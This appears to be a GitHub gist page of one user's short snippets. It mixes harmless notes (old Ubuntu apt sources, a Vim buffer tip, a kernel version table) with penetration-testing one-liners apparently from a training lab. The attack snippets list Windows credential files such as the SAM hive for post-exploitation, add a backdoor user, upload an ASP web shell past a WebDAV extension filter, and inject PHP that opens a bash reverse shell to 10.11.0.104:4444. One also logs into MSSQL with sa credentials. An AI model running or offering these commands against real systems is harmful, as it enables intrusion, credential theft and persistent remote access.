Skip to content

Instantly share code, notes, and snippets.

deb http://old-releases.ubuntu.com/ubuntu/ gutsy main restricted
deb http://old-releases.ubuntu.com/ubuntu/ gutsy-updates main restricted
deb http://old-releases.ubuntu.com/ubuntu/ gutsy universe
deb http://old-releases.ubuntu.com/ubuntu/ gutsy-updates universe
deb http://old-releases.ubuntu.com/ubuntu/ gutsy multiverse
deb http://old-releases.ubuntu.com/ubuntu/ gutsy-updates multiverse
deb http://old-releases.ubuntu.com/ubuntu/ gutsy-security main restricted
deb http://old-releases.ubuntu.com/ubuntu/ gutsy-security universe
deb http://old-releases.ubuntu.com/ubuntu/ gutsy-security multiverse
4.10 Warty Warthog 2.6.8
5.04 Hoary Hedgehog 2.6.10
5.10 Breezy Badger 2.6.12
6.06 Dapper Drake 2.6.15
6.10 Edgy Eft 2.6.17
7.04 Feisty Fawn 2.6.20
7.10 Gutsy Gibbon 2.6.22
8.04 Hardy Heron 2.6.24
8.10 Intrepid Ibex 2.6.27
9.04 Jaunty Jackalope 2.6.28
@leveled
leveled / windows post exploitation files .txt
Created December 29, 2016 17:27
Blind files worth checking in a Windows post-exploitation scenario
Windows Post Exploitation Files
%SYSTEMDRIVE%\boot.ini
%WINDIR%\win.ini
%SYSTEMROOT%\repair\SAM
%SYSTEMROOT%\System32\config\RegBack\SAM
%SYSTEMROOT%\repair\system
%SYSTEMROOT%\System32\config\RegBack\system
%SYSTEMDRIVE%\autoexec.bat
@leveled
leveled / buffer split tabs.txt
Created December 29, 2016 17:27
Using Vim's Buffer feature split tabs
:tabnew
:buffers "note the numbers
:split
:bn " where n is the number of
<CTRL-W><CTRL-W>
:bn " for the other file
:tabonly " not necessary, closes every other tab
@leveled
leveled / ns lookup range.txt
Created December 29, 2016 17:28
Windows nslookup for an ip range
for /L %i in (1,1,255) do @nslookup 10.10.10.%i [server to resolve from] 2>nul | find "Name" && echo 10.10.10.%i && @echo [ctrl+g]
@leveled
leveled / show windows helpmessage .txt
Created December 29, 2016 17:28
Show the contents of a Windows help message based on numeric codes
net helpmsg 1214
@leveled
leveled / add user noninteractively.sh
Created December 29, 2016 17:29
Add a user noninteractively in Linux
/usr/sbin/useradd -p hacker -s /bin/bash hacker
@leveled
leveled / putting a shell on a webdav protected folder.txt
Created December 29, 2016 17:29
IIS Webdav bypass using cadaver
cadaver http://10.11.1.229
dav:/> put shell.asp shell.txt
dav:/> copy shell.txt shell.asp;.txt
@leveled
leveled / kadimus reverse shell .txt
Created December 29, 2016 17:30
Using Kadimus to gain a PHP reverse shell through a PHP handler vulnerability
./kadimus -t https://10.11.1.35/section.php?page=php://input%00 -C \ '<?php echo shell_exec("bash -i >& /dev/tcp/10.11.0.104/4444 0>&1 2>&1"); ?>' -X input
@leveled
leveled / using tsql to connect to a mssql DB.txt
Created December 29, 2016 17:31
Using the unix tool tsql to connect to an MSSQL database.
tsql -S 10.11.1.31 -U sa -P poiuytrewq